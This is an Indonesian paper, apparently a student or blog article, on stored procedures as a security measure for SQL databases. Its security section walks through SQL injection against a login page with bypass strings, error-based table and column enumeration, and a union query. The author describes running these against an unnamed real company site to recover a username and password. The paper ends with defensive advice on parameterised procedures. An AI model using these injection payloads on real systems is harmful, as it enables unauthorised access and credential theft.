PENGGUNAAN STORED PROCEDURE SEBAGAI ASPEK KEAMANAN PADA SQL DATABASE

PENGGUNAAN STORED PROCEDURE

SEBAGAI ASPEK KEAMANAN PADA SQL DATABASE

I. PENDAHULUAN

Data dan Informasi telah menjadi bagian vital dalam pertumbuhan bisnis. Saat ini data dan informasi pada umumnya disimpan dalam satu atau lebih database. Pada skala yang luas dan historis penyimpanan data disimpan dalam sebuah gudang data atau yang lebih dikenal dengan Datawarehouse. Data dan informasi tersebut dikelola oleh sistem khusus yang dikenal dengan Database Management System (DBMS).

DBMS tidak hanya berperan untuk menyimpan data ataupun informasi, tetapi juga dapat berperan besar dalam pengelolaan, manipulasi data, hingga usiness Intelegence. DBMS seperti SQL Server, MySQL, PostgreSQL, ataupun Oracle, pada umumnya berkomunikasi dengan antarmuka aplikasi dengan menggunakan dua pendekatan yakni menggunakan SQL Statement dan Stored procedure.

SQL Statement baik berupa Data Definition Language dan Data Manipulation Language adalah cara yang umum bagi aplikasi untuk memperoleh data untuk ditampilkan. Namun seiring dengan faktor keamanan dan performa terdapat alternatif SQL Statement untuk dibungkus dalam Stored procedure. Stored procedure menyimpan statement-statement SQL dalam sebuah berkas yang disimpan di database server, sehingga dari sisi performa eksekusi, utilitas jaringan, dan keamanan, stored procedure banyak dipakai sebagai solusi akses data.

BAB II. LANDASAN TIORI

2.1 Definisi Database

Database dapat di definisikan sebagai .

  • Kumpulan informasi yang bermanfaat yang diorganisasikan ke dalam tata cara yang khusus,
  • Sistem file terpadu yang dirancang terutama untuk meminimalkan pengulangan data,
  • Tempat untuk sekumpulan file data terkomputerisasi.

Sistem database pada dasarnya adalah sistem terkomputerisasi yang tujuan utamanya untuk memelihara informasi dan membuat informasi tersebut tersedia pada saat diperlukan.

Ø Operasi-Operasi Yang Dapat Dilakukan Pada Database :

· menambahkan file ke sistem database,

· menyisipkan data ke dalam suatu file,

· mengambil data dari suatu file,

· mengubah data pada suatu file,

· menghapus data dari suatu file,

· menyajikan informasi dari suatu atau sejumlah file,

· mengosongkan file.

Ø Manfaat Sistem Database

· mengurangi duplikasi data (kemubaziran),

· menghindari inkonsistenan data,

· meningkatkan integritas data, dimana data selalu dalam keadaan valid; hal ini hanya dapat terjadi bila data hanya berada dalam satu tempat,

· adanya independensi data, sifat yang memungkinkan perubahan struktur file tidak mempengaruhi program dan sebaliknya; juga dapat berarti bahwa data bersifat tidak bergantung pada data lain,

· adanya sekuritas data, yang bermanfaat untuk menghindari pengaksesan data oleh yang tidak berhak,

· penggunaan data menjadi lebih mudah, dimana pada umumnya sistem manajemen database (DataBase Management System = DBMS) menyediakan fasilitas query yang memudahkan user untuk memperoleh informasi.

Sistem manajemen database dapat diartikan sebagai suatu program komputer yang digunakan untuk memasukkan, mengubah, menghapus, memanipulasi dan memperoleh data dengan praktis dan efisien.

Ø Komponen Utama DBMS

· perangkat keras, berupa komputer,

· perangkat lunak, berada diantara database (yang tersimpan dalam harddisk) dan user,

· data, yang berada di dalam database dan bersifat terpadu (artinya file data yang ada pada database saling terkait tetapi tidak terjadi atau sedikit sekali terjadi kemubaziran data) serta berbagi (dapat digunakan oleh banyak user = multiuser)

· user.

Ø User dapat diklasifikasikan menjadi :

-. user akhir, terdiri dari applicaton user dan interactive user (orang yang dapat memberikan perintah-perintah level tinggi pada interface database yang ada),

-. pemrogram aplikasi (application programmer),

-. administrator database (Database administrator = DBA).

Administrator database (DBA) adalah orang yang bertanggung jawab terhadap pengelolaan database.

Tugas DBA antara lain adalah :

-. mendefinisikan database,

-. menentukan isi database,

-. menentukan sekuritas database, dimana setiap user diberi hak akses terhadap database secara tersendiri dan tidak semua user dapat menggunakan data yang bersifat sensitif;

-. memantau kinerja sistem secara berkala,

-. merencanakan backup dan recovery terhadap database,

-. mengikuti perkembangan produk, sehingga dapat memberikan usulan kepada organisasi untuk melakukan hal-hal yang dipandang perlu.

Ø Abstraksi Data

DBMS menyediakan pandangan abstrak terhadap data bagi user. DBMS berusaha menyembunyikan detail tentang bagaimana data disimpan dan dipelihara. Tetapi hal ini dilakukan dengan sedapat mungkin mengusahakan agar data dapat diakses secara efisien.

Abstraksi data dalam DBMS terdiri dari 3 (tiga) lapis, yaitu lapis fisis (physical level), lapis logika atau konseptual (logical or conceptual level) dan lapis pandangan (view level).

· Lapis fisis merupakan lapis terendah dalam abstraksi data. Lapis ini menjelaskan bagaimana data sesungguhnya disimpan. Pada lapis inilah struktur data dijabarkan secara rinci.

· Lapis logika atau konseptual bersifat lebih tinggi dari pada lapis fisis. Lapis ini menjabarkan data apa saja yang sesungguhnya disimpan dalam database, serta menjabarkan hubungan-hubungan antar data. Lapis ini biasa digunakan oleh DBA.

· Lapis pandangan merupakan lapis tertinggi pada abstraksi data. Pada lapis ini user hanya mengenal struktur data yang sederhana, yang berorientasi pada kebutuhan user. Data yang dikenal oleh masing-masing user dapat berbeda-beda dan barangkali hanya mencakup sebagian dari database.

Hubungan antara ketiga lapis di atas dapat digambarkan sebagai berikut.


Sebagai analogi dengan konsep tipe data dalam bahasa pemrograman, perhatikan gambaran berikut, yang menggunakan bahasa menyerupai Pascal untuk mendeklarasikan sebuah tipe record.

type nasabah = record

nama-nasabah : string;

alamat-nasabah : string;

kota-nasabah : string;

end;

Kode di atas mendefinisikan sebuah record baru yang disebut nasabah dengan tiga buah field. Setiap field mempunyai sebuah nama dan sebuah tipe yang sesuai dengannya. Sebuah bank dapat mempunyai beberapa tipe record, termasuk

-. rekening, dengan field nomor-rekening dan saldo,

-. karyawan, dengan field nama-karyawan dan gaji

Pada lapis fisis, record nasabah, rekening atau karyawan dapat digambarkan dalam suatu blok data yang terletak pada lokasi berurutan (dalam satuan byte). Pada lapis logika atau konseptual, masing-masing record dijabarkan dengan definisi tipe data. Pada lapis pandangan, user tertentu hanya boleh mengakses data tertentu.

Ø Model Database

Model database menyatakan hubungan antar record yang tersimpan dalam database. Beberapa literatur menggunakan istilah struktur data logis untuk menyatakan hal ini.

Model data yang paling umum terdiri dari 3 macam, yaitu

-. model hierarkis

-. model jaringan

-. model relasional

dan model yang lebih baru biasa disebut sistem pascarelasional.

Ø Model Hierarkis

Model hierarkis biasa disebut model pohon, karena menyerupai pohon yang dibalik. Model ini menggunakan pola hubungan orangtua – anak. Setiap simpul (biasa digambarkan sebagai lingkaran atau kotak) menyatakan sekumpulan field. Simpul yang terhubung ke simpul pada tingkat yang di bawahnya disebut orangtua. Setiap orangtua dapat memiliki satu (hubungan 1:1) atau beberapa anak (hubungan 1:N), tetapi setiap anak hanya memiliki satu orangtua. Simpul-simpul yang dibawahi oleh simpul orang tua disebut anak. Simpul orangtua yang tidak memiliki orangtua disebut akar. Simpul yang tidak memiliki anak disebut daun (leaf). Adapun hubungan antara anak dan orangtua disebut cabang.

Gambar berikut memperlihatkan contoh model hierarkis.


Ø Model Jaringan

Model jaringan menyerupai model hierarkis. Perbedaannya adalah dimana suatu simpul anak dapat memiliki lebih dari satu orangtua. Oleh karena sifatnya yang demikian, model ini dapat menyatakan hubungan 1:1 (satu orangtua mempunyai satu anak), 1:N (satu orangtua mempunyai banyak anak) atau M:N (beberapa anak memunyai beberapa orangtua).

Gambar berikut memperlihatkan contoh model jaringan.


Ø Model Relasional

Model relasional merupakan model yang paling sederhana sehingga mudah digunakan dan dipahami oleh user, serta merupakan yang paling populer pada saat ini. Model ini menggunakan sekumpulan tabel berdimensi dua (yang disebut relasi atau tabel), dengan masing-masing relasi tersusun atas tuple (tupel) atau baris dan atribut atau kolom. Relasi dirancang sedemikian rupa sehingga dapat menghilangkan kemubaziran data dan menggunakan key field untuk berhubungan dengan relasi lain.

Analogi istilah dalam model relasional, pemrograman dan user.

relasi = file = tabel

tuple = record = baris

atribut = field = kolom

Pada model relasional, jumlah tupel suatu relasi disebut kardinalitas dan jumlah atribut suatu relasi disebut derajat (degree) atau kadang-kadang disebut arity. Relasi yang berderajat satu (hanya memiliki satu atribut) disebut unary. Relasi yang berderajat dua disebut binary, dan relasi yang berderajat tiga disebut ternary. Relasi yang berderajat n disebut n-ary.

Istilah lain yang terdapat pada model relasional adalah domain, yang merupakan himpunan nilai yang berlaku bagi suatu atribut.

2.2 Pengertian Stored Prosedure

Adalah program yang disimpan dalam data base seperti halnya data. Hal ini sebenanya cukup tidak umum, karena kita mengharapkan yang disimpan dlam data base adalah data bukan nya program.

Kemampuan utama SQL Server berada pada Store Procedure dan Fungsi (Fungsi hanya terdapat pada SQL Server 2000)

Dengan adanya Store Procedure, maka program SQL yang telah kita buat :

  • dapat digunakan kapanpun
  • lebih cepat dan efisien karena bersifat Server Side
  • mudah dibuat dan dirawat karena kecil tapi ‘Power Full’

Dapat digunakan kapanpun

Seperti halnya pembuatan prosedur pada C++ / Pascal / Java atau pemrograman yang lain, apabila pembuatan program bersifat modular (dibuat kecil untuk setiap maksud/tujuan), akan lebih baik apabila pemrograman tesebut menggunakan banyak prosedur. Dengan dibuat terpisah, kapanpun diinginkan, hanya tinggal memanggil program tersebut.

Lebih cepat dan efisien

Untuk program yang besar, pembuatan program Server Side, terasa lebih mudah dibandingkan Client Side. Dengan Server Side, program lebih bersifat Netral terhadap semua aplikasi. Disisi Programer, ia tidak perlu mengetahui terlalu mendalam terhadap suatu program aplikasi seperti VB, Delphi, Java , C++ Builder, PHP, ASP, J2ME, WAP, SMS dsb. karena tugas–tugas tersebut sebenarnya dapat dilakukan oleh Server (dalam hal ini SQL Server) VB, Delphi, Java , C++ Builder PHP, ASP, J2ME, WAP, SMS dsb tersebut hanyalah User interface/tampilan belaka, yang hanya berfungsi untuk menampilkan data, memasukkan data, serta memberikan parameter-parameter yang dibutuhkan oleh server untuk menghapus , mengubah, skeduling, backup dan sebagainya. Sedangkan program yang sesungguhnya berada pada Server tersebut.

Mudah dibuat dan dirawat karena kecil tapi ‘Power Full’

Kecil dan PowerFull, akan diperlihatkan pada beberapa contoh berikutnya.

Pembuatan Strore Procedure

Syntax :

CREATE PROCEDURE nama_procedure

[@Parameter1 tipe_data_parameter1,……….., [@ParameterN tipe_data_parameterN]

AS

SQL atau TSQL statement

TSQL adalah pengembangan dari SQL, sehingga mejadi lebih Powerfull

Berikut ini pembuatan store procedure melalui Enterprise Manager :

§ Klik Stored procedure pada Database Kuliah

§ Klik Kanan pada Area Name

§ Pilih New Stored procedure……

Ubahlah Statement Store procedure yang ada, menjadi sbb :

Klik OK

Kini telah terdapat store procedure baru dengan nama SP_LIHAT_DOSEN

Untuk menjalankan store procedure, dapat melalui QUERY ANALIZER

EXEC nama_store_procedure [isi_parameter1, …. , isi_parameterN]


Contoh:

BAB III. KEUNGGULAN PENGUNAAN STORED PROCEDURE

Keunggulan Penggunaan stored procedure pada DBMS pada umunnya dan MS SQL Server 2k pada khususnya di tinjau dari berbagai aspek seperti:

  • Kinerja

a. Execution plan pada stored procedure sudah dibuat pada saat procedure itu dikompilasi jadi hanya terjadi 1 kali. Berbeda dengan adhoc query terutama dengan query tanpa parameter (tanpa simbol @). Query adhoc dikompilasi (dibuat parse tree dan query tree) secara realtime, terutama jika query tersebut tidak ada di procedure cache.

b. Stored procedure dapat dipin(ditandai) di memori.

Artinya sebuah Stored procedure dapat dipaksa untuk tetap berada di memori fisik meskipun dbms membutuhkan memori tambahan. Akibatnya operasi swaping in & swapping out Stored procedure dapat diminimalkan terutama untuk Stored procedure yang sering dipakai. Sebagai catatan dengan harga memori yang makin murah (relatif dalam US $) maka opsi pin ini semakin atraktif

c. Stored procedure dapat digunakan untuk membatasi jumlah record yang dikirim ke client. Hal ini dapat mengurangi beban jaringan. Hal ini akan sangat mempercepat karena bottle neck utama di applikasi database terletak di jaringan.

d. Stored procedure terletak di DBMS sehingga untuk proses yang membutuhkan data banyak, round trip untuk permintaan data sampai data itu diterima dapat ditiadakan.

  • Transparansi dan scolabilitas

Transparansi ekivalen dengan information hiding di konsep pemograman OO Mendukung ANSI model terhadap database. Ansi model adalah sebuah model database yang memodelkan penglihatan user terhadap database menjadi 3 komponen yaitu user view, logical view dan fisikal view. User view ekivalen dengan perintah select. Logical view ekivalen dengan ERD atau LDS (logical data structure) dan fisikal view ekivalen dengan implementasi tabel di database. Dengan adanya sp maka app user view dapat dibuat sesetabil mungkin meskipun tabel penyusunnya berubah. Perubahan terhadap applikasi client dapat dihindari pada kasus kasus di bawah ini :

Partisi tabel baik secara vertikal, horisontal dan gabungan.

Partisi adalah proses pembagian sebuah tabel yang sudah normal menjadi beberapa tabel yang normal. Tabel normal adalah tabel hasil normalisasi.

Misalkan kita punya tabel pelanggan (pelangganid, nama, alamat, kota, propinsi,tanggallahir, jeniskelamin,telepon).

Partisi vertikal ekivalen dengan select pelangganid,nama from pelanggan. Partisi horisontal ekivalen dengan select * from pelanggan where kota=xxx.

Pertimbangan untuk melakukan partisi dilakukan dengan memperhatikan :

Ø Frekuensi akses (select) terhadap tabel

Jika user sering mengakses pelangganid,nama dan telepon maka sebaiknya tabel pelanggan dipartisi menjadi 2 yaitu pelanggan_part1 (pelangganid,nama,telepon) dan pelanggan_part2 (pelangganid, alamat, kota, propinsi, tanggallahir, jeniskelamin). Ukuran table pelanggan_part1 akan jauh lebih kecil dibanding dengan tabel pelanggan_part2 dan pelanggan sehingga proses query select akan lebih cepat. Untuk lebih jelasnya dapat dibaca di buku Database system concept karya henry korth bab 12 tentang perhitungan query cost.

Ø Lokasi user yang mengakses tabel

Misalkan database tersebar dimana user di kota x hanya dapat melihat data pelanggan kota x maka tabel dapat dipartisi secara horisontal Transformasi dari single server ke multi server (distributed database) Sudah dijelaskan pada point transparasi horisontal normalisasi dan denormalisasi tabel Untuk meningkatkan kinerja atau membenahi struktur tabel maka proses normalisasi dan denormalisasi dapat dilakukan. Selama interface sp yang digunakan untuk mengakses tabel tidak berubah maka applikasi client tidak perlu berubah. Interface sp yang dimaksud adalah nama sp, jumlah parameter sp, urutan parameter dan tipe data parameter.

  • Keamanan

a. Stored procedure mencegah terjadinya SQL injection.

SQL injection

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client. Untuk melakukan hal ini dapat digunakan progam seperti softice.

Tehnik hacking sql injection mulai mencuat kepermukaan semenjak dijebolnya situs KPU pada pemilu putaran pertama kemarin oleh Dani Firmansyah atau Xnuxer , dengan teknik ini beliau dapat masuk sebagai web administrator tanpa susah payah scan port yang terbuka , tanpa terdeteksi oleh firewall dan tanpa tool ke situs tersebut yang konon system yang seharga 152 milyar itu keamanannya berlapis lapis.

basik atau dasar dari teknik hacking yang dinamakan sql injection , teknik ini memungkinkan kita masuk ke suatu system yang terproteksi sebagai siapa saja dengan hanya mengetahui username tanpa harus mengetahui passwordnya bahkan kita juga dapat login tanpa perlu mengetahui username dan password sama sekali

Di ilustrasikan ITB mempunyai situs dengan nama www.itb.ac.id , untuk pengelola situs ini administrator membuat halaman web untuk atifitas update semua halaman web sehingga dapat dikelola darimanapun dan kapanpun , halaman web tersebut tersimpan di www.itb.ac.id/admin.asp , untuk mengamankan halaman 2 yang dikhususkan untuk web administrator ini , web admin membuat halaman web yang terproteksi yang berfungsi sebagai pintu masuk ke halaman 2 berikutnya, sehingga setiap user yang akan masuk ke halaman yang terproteksi harus memasukan username dan password mereka, daftar password dan user tersebut tersimpan dalam sql server dengan nama table admin dengan field-field diantaranya username dan password.

Statement sql bukanlah bahasa pemrograman seperti pascal,Delphi atau visual basic, statemen sql biasanya digunakan bersama sama dengan bahasa pemrograman lain pada saat mengakses database , pada ilustrasi diatas , untuk mencocokan user yang login, maka digunakan statemen sql yang kurang lebih sebagai berikut:

Select * from admin where username = input_username

And password = input_password

Sebagai contoh apabila penulis sebagai administrator dengan username = administrator dan password = admin bermaksud login maka sql statemennya sebagai berikut

Select * from admin where username = ‘administrator’ and

Password = ‘admin’

Dapat dipastikan bahwa apabila field username terdapat record administrator dengan filed password terdapat admin penulis dapat melewati proteksi dan masuk kehalaman berikutnya ,akan tetapi apabila sebaliknya ,maka akan keluar pesan kesalahan yang kurang lebih isinya kita tidak dapat masuk ke halaman berikutnya , lalu bagaimana kalau penulis memasukan input ‘ or ‘’=’ pada username dan password , perhatikan perubahan statemen sql berikut ini

Select * from admin where username = ‘’ or ‘’ = ‘’ and

Password = ‘’ or ‘’=’’

Logika OR menyebabkan statement membalikan nilai false jadi true sehingga kita dapat masuk sebagai user yang terdapat pada record pertama dalam table admin ( record pertama biasanya administrator) , dan bagaimana kalo kita hanya mengetahui username saja tapi passwordnya tidak , misalkan username = administrator , caranya cukup sederhana , pada text box tempat menginput username isi dengan “administrator’—“ sedangkan pada textbox password boleh diisi sembarang misalkan ‘ or ‘’=’ maka statement sql akan berubah menjadi

Select * from admin where username = ‘ administrator ‘—“

And password = ‘’ or ‘’=’’

Tanda “—“ (dua tanda minus) di sql server berarti akhir dari statement sql sehingga perintah dibelakannya tidak dieksekusi lagi.

Untuk web admin , bagaimana cara mencegahnya , jangan izinkan user menginput selain karakter a - z atau A - Z atau 0 – 9 , selain dari pada itu ditolak pada saat pengecekan.

Sebagai contoh dari penerapan hacking menggunakan teknik SQL Injection dari salah satu situs di Indonesia yang tentunya alamat situs tersebut tidak sebenarnya, penulis mencoba mencari situs yang masih rentan terhadap bug SQL Injection dan beruntung mandapatkannya yaitu perusahaan BUMN dengan alamat situs www.alamatsitus.co.id/admin/login.asp , lagi-lagi situs ini bermasalah dalam hal opsi login masuk ke web admin, pertama , penulis mencoba masuk menggunakan teknik yang biasa digunakan yaitu memasukan ‘ or ‘’=’ pada textbox user id passwordnya dan berhasil masuk sebagai admin , tentunya kita belum puas cuman dapat masuk saja dan merubah rubah informasi pada tampilan situs tersebut , kita ingin lebih dalam lagi yaitu table dan field apa yang ada disitus tersebut , di mulai dari mencoba mengetahui table dan field apa yang digunakan sebagai database untuk menyimpan data user dan password , dengan memanfaatkan pesan kesalahan yang terjadi setelah mengetik perintah ' having 1=1— pada user id dan password terserah dan muncul error sebagai berikut :

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

'T_USER.NOMOR' is invalid in the select list because

it is not contained in an aggregate function and

there is no GROUP BY clause.

/admin/login.asp, line 7

--------------------

Keluarlah nama field pertama kita !!!

Catat nama tabel : T_USER

Catat nama field : NOMOR

Dari informasi diatas kita sudah mendapatkan nama tablenya yaitu T_USER dan field pertamanya NOMOR , selanjutnya mencari field kedua dan seterusnya dengan mengetikan perintah ' group by T_USER.NOMOR having 1=1— dan keluar error sebagai berikut

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

'T_USER.USERNAME' is invalid in the select list because

it is not contained in either an aggregate

function or the GROUP BY clause.

/admin/login.asp, line 7

Artinya itulah nama tabel dan field kedua kita.

Catat : T_USER.USERNAME

Kemudian kita cari field ke tiga :

' group by T_USER.NOMOR,T_USER.USERNAME having 1=1—

dan keluar pesan error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

'T_USER.PASSWORD' is invalid in the select list because

it is not contained in either an aggregate

function or the GROUP BY clause.

/admin/login.asp, line 7

Catat field ke tiga : T_USER.PASSWORD.

Dan lakukan mencari informasi field dield yang ada sampai field yang terakhir , penulis mendapatkan field field seperti dibawah ini

- T_USER.NOMOR

- T_USER.USERNAME

- T_USER.PASSWORD

- T_USER.STATUS

- T_USER.AUTHORITY

Selajutnya penulis mencari username dan password yang sah untuk masuk tanpa menggunakan perintah SQL , perintahnya sebagai berikut

' union select min(USERNAME),1,1,1,1 from T_USER where USERNAME > 'a'—

artinya kita memilih minimum nama user yang lebih besar dari 'a' dan mencoba mengkonvert- nya ke tipe integer , Arti angka 1 sebanyak 4 kali itu adalah bahwa kita hanya memilih kolom USERNAME, dan mengabaikan 4 kolom yang lain. dan keluar pesan

error :

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax

error converting the varchar value 'kristian' to

a column of data type int.

/admin/login.asp, line 7

lihat :

varchar value 'kristian '

'kristian' itu adalah nama user di record yang terakhir dimasukkan, atau isi kolom

username di record yang terakhir dimasukkan, Selanjutnya kita inject :

' union select min(PASSWORD),1,1,1,1 from T_USER where USERNAME = 'kristian'—

catatan : harus sebaris (tidak dipotong) dan keluar error :

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax

error converting the nvarchar value 'passport' to a

column of data type int.

/admin/login.asp, line

Artinya kita berhasil !!! ,Kita dapatkan

- USERNAME = kristian

- PASSWORD = passport

mencegah SQL injection

Untuk mengakses data, sebaiknya digunakan stored procedures yang mempunyai

parameter. Penggunaan parameter tersebut untuk memastikan nilai input sudah dicek tipe dan panjangnya. Parameter juga diberlakukan untuk menjamin sebagai nilai yang aman dan bukan kode yang dapat dieksekusi dalam database. Jika tidak dapat menggunakan stored procedures, sebaiknya menggunakan SQL statement dengan parameter. Jangan pernah membangun SQL statement dengan langsung memasukkan nilai input dalam SQL command. Pastikan aplikasi memberikan hak akses ke database seperlunya saja.

b. Hak akses stored procedure terhadap data di database bergantung pada hak akses pembuatnya bukan bergantung pada hak akses pengguna stored procedure. Hal ini memungkinkan user applikasi untuk tidak diberi hak akses terhadap semua tabel yang ada namun diberi hak akses untuk menjalankan stored procedure. Akibat penggunaan mekanisme ini adalah enforcement terhadap aktifitas user (select, inser, update, delete) tersentralisasi bahkan untuk applikasi seperti query analyzer tidak akan dapat digunakan untuk mengakses data secara tidak sah.

c. Penggunaan stored procedure mendukung penggunaan application role.

Application role adalah sebuah role di SQL server 2k dimana role ini tidak memiliki pengguna. Mekanisme ini merupakan mekanisme standard yang disarankan oleh Microsoft untuk membuat applikasi database berbasis SQL server 2k. Keunggulan penggunaan application role ini adalah dengan menggunakannya maka hanya app kita yang dapat mengakses database applikasi lain tidak dapat kecuali user memakai login yang berrole sysadmin.

d. Perlindungan hak cipta. stored procedure dapat dienkript sehingga proses tidak dapat dibajak orang dengan mudah.

e. Memungkinkan manual audit yang sangat baik. Manual audit didefinisikan sebagai audit dimana mekanisme pencatatan log dilakukan oleh applikasi bukan dbms. Memang manual audit dapat dilakukan tanpa penggunaan stored procedure namun manual audit dapat dibypass misalkan dengan menggunakan query analyzer. Dengan stored procedure dan fasilitas application role maka mekanisme manual audit dapat dienforce setiap saat.

  • Fleksibilitas terhadap perubahan proses bisnis

Stored procedure tersimpan di server. Modifikasi mudah dilakukan dan dengan cepat.

  • Ekonomi

Stored procedure menyediakan 1 pintu masuk untuk proses data entri. Applikasi client tinggal mengaksesnnya. Stored procedure dibuat 1 kali dan dapat diakses oleh applikasi client yang berbeda-beda. Efesien dan murah

Referensi:

  1. Database system concept karya henry korth.
  2. MS SQL Server 2k BOL.
  3. Database Security karya silvana castono.
  4. Database System Concepts Fifth Edition. Avi Siberschatz, Henry F Korth S.Sudarshan, McGraw-Hill
  5. Database securuty “Costano S., Figini M., Martella G., Samarati P.(ed), 1994.

Deixe o seu comentario

Posting Komentar